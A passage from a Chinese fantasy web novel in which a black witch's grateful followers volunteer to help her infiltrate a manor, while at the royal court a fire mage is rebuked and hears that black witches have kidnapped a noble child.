见女儿和凯瑟琳都不在意那袋可怕的虫子，凯瑟琳还不忘上前把那袋虫子扎紧了系绳，塞西莉亚简直快要不认识这面前这两个年轻的女孩儿。
凯瑟琳解释道：“这些都是女巫大人的药材，上次埃利斯受伤，正是用这些虫子治好的。”
她还详细形容了女巫大人是如何将这些胸甲虫碾碎取汁，听得塞西莉亚胃里直发酸。
“埃利斯身上涂的就是这些虫子的汁液才……”塞西莉亚吃惊得说不下去，她不由开始联想，自己能够在半个月的时间里恢复正常，该不会……
埃利斯只是在身体上涂了那些虫子的汁液，她可是整整喝了十多天的药汁啊！
“……埃利斯最怕这些带有触角和坚硬外壳的小虫子，他要是知道了，他会疯掉的。”塞西莉娅喃喃道。
“那就不要让他知道。”申姜看着床上身形高大的埃利斯，怎么也没想到他的弱点竟然是这个，她不由想笑。
不知道黑龙戈德温最害怕什么，要是他也怕虫子，那可就有意思了。
“我可以让他现在就醒来，你们想学吗？”
见气氛有些尴尬，申姜冷不丁道。
三双不同肤色的手，毫不犹豫地举了起来。
埃利斯是被疼醒的，一醒来，他就看到妹妹正用力掐着自己的嘴唇上方，一脸兴奋地喊着：“醒了醒了，天啊，难道我又学会了一个黑魔法！”
凯瑟琳有些失望，没想到埃利斯这么快就醒了，原本她也想上手试试的。
埃利斯颤颤巍巍指着门口那袋眼熟的麻袋，“你们谁能给我一个解释？”
塞西莉亚急忙解释起来：“都怪我不好，是我太好奇打开了那个袋子。”
“不，不是这个，”埃利斯的视线避开那个可怕的麻袋，“我记得那袋子东西之前在我的床尾放了一礼拜！贝阿朵莉丝，你当初是怎么说的？”
天知道他刚醒的时候还奇怪那里怎么会有一个袋子，而后他的情况一天比一天好，那袋子也越来越鼓，听妹妹说，这个袋子被女巫大人施了魔法，只要他不打开，里面的东西会一直散发魔力直到他好转。
难道他是被这些密密麻麻的虫子尸体治疗痊愈的吗！埃利斯觉得自己的头好像又有些晕。
一想到自己和一袋……可怕的虫尸在一个房间待了有一周的时间，他的脸都快扭曲了。
接收到贝阿朵莉丝求救式的目光，申姜正色道：“埃利斯，你不是说想要为我做事吗？如果连死去的虫子你都害怕，这让我不得不我怀疑你的能力。”
埃利斯不由怔住。
妹妹贝阿朵莉丝才12岁，却能悄悄收集到这么大一袋胸甲虫，论胆色和心性，的确比他看起来要强许多。黑女巫需要炼制药剂的材料极其繁多，如果以后出现了比胸甲虫更恶心的东西要他去收集，他能胜任为女巫做事吗？
凯瑟琳见缝插针道：“女巫大人，我不害怕这些臭虫，我不仅可以为您收集胸甲虫，我还可以去那座庄园应聘厨娘或是其他工作，我想谁都不会怀疑一个不起眼的女仆。”
申姜看着她难掩的美貌，觉得她这句不起眼用的很不恰当。他们一个个鼻子挺拔眼窝深邃，长得跟她见过的外国模特似的，简直就是极其吸引眼球。
“很高兴你们都愿意为我做事，但前往城北的庄园这个任务十分危险，我不希望你们为了几袋白面粉而为此丧命。要知道，想救活一个人可没有你们想的那么轻易。”
申姜表情严肃，不容置喙地拒绝了他们这些儿戏般的决定。
“不，不只是为了面粉。”埃利斯这次没有嬉皮笑脸，反而有些扭捏。
“嗯？”
“我想报答您的救命之恩，如果不是您，我……我根本不可能好端端站在这里，我自愿跟随您，为您效命。”
“我也是，”凯瑟琳认真道，“您救过我妈妈，这一次，我也想为您的亲人做出一份贡献。”
她还记得女巫大人提过，她找大耳鹿是为了她昏迷不醒的奶奶。
“再加上我。”塞西莉娅微笑道，“我已经好久没有出去走走了，比起你们，谁也不会在意我这个老太婆。要论打入内部，你们都没有我的天然优势。”
申姜看着他们诚挚的脸庞，
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心里涌过一阵暖流。
她救他们是随手也是私心，但她从未想过要让他们为自己冒如此大的险。
申姜手里仅剩下一片还有2次使用机会的银龙鳞，显然，光靠它，申姜一个人毫发无伤取得麝香的可能性极低。她不能保证银龙鳞将会把她传送到布满侍卫的大耳鹿身边，又或者是把她传送到距离大耳鹿最近的附近位置——就像她第一次见到凯瑟琳那样。
“让我想想，有没有能保证大家安全的可行办法，行动之前，我得确保大家手里有一样能防身保命的东西。”
她们之中除了力大无穷的埃利斯，都是没有武力值的普通人类女性，年幼的贝阿朵莉丝当然不能参与此次行动，但她可以提前收集情报。究竟该怎么做，才能毫发无伤的潜入那个庄园并安全离开呢。
*
距离芬妮信誓旦旦地向王后保证将会为玫瑰帝国猎取一头巨龙，已经过去了一个多月。
大理石砌成的华美外殿走廊，护卫们井然有序的站在自己的岗位上。
啪！
一声清脆传来。
“芬妮，你还记得自己是怎么向我保证的吗？！”
“请您息怒。”芬妮有些不安地半跪下去。
“你知道最近大臣们都对这次的围剿黑女巫行动十分不满吗，这件事甚至惊动了国王陛下。动用这么大的人力物力，换来了什么？什么也没有！甚至还折损了一名骑士团精锐成员！现在有不少人甚至怀疑你口中所谓的巨龙根本就是你编造出来的谎言！”
“不，”芬妮急忙辩解，“的确有一头黑龙曾在迷雾森林偷袭了我，我亲耳听到它说它是信徒，它为了保护它的主人黑女巫，还杀死了尼莫，连我都差点……”
“够了！别再说那个荒谬可笑的言论，你真觉得这个世界上会有愿意当黑女巫信徒的黑龙吗？”
芬妮低下头，不服气的嘟起唇，她亲眼目睹，怎么可能有假。
只要抓到那个黑女巫，黑龙就会属于玫瑰帝国，而她们火系魔法师一脉，都将是这个行动最大的收益者。
“城里最近经常有孩子失踪，你知道这件事吗？”
芬妮摇头，她才不关心这种小事，肯定是那些平民的孩子疯玩忘了回家。
这时，突然有人匆匆进入内殿。
“王后，萨曼莎家的小少爷被人绑架了！是黑女巫们做的，她们要求王庭立刻停止对黑女巫的屠戮与迫害，否则，她们不仅会杀死盖洛普·萨曼莎少爷和其他孩子，还会联合起来展开针对玫瑰帝国贵族的新一代无止境的报复行动，包括……包括……”他没敢再说下去。
芬妮一把扯住那个侍卫的衣领，失声道：“你说什么！”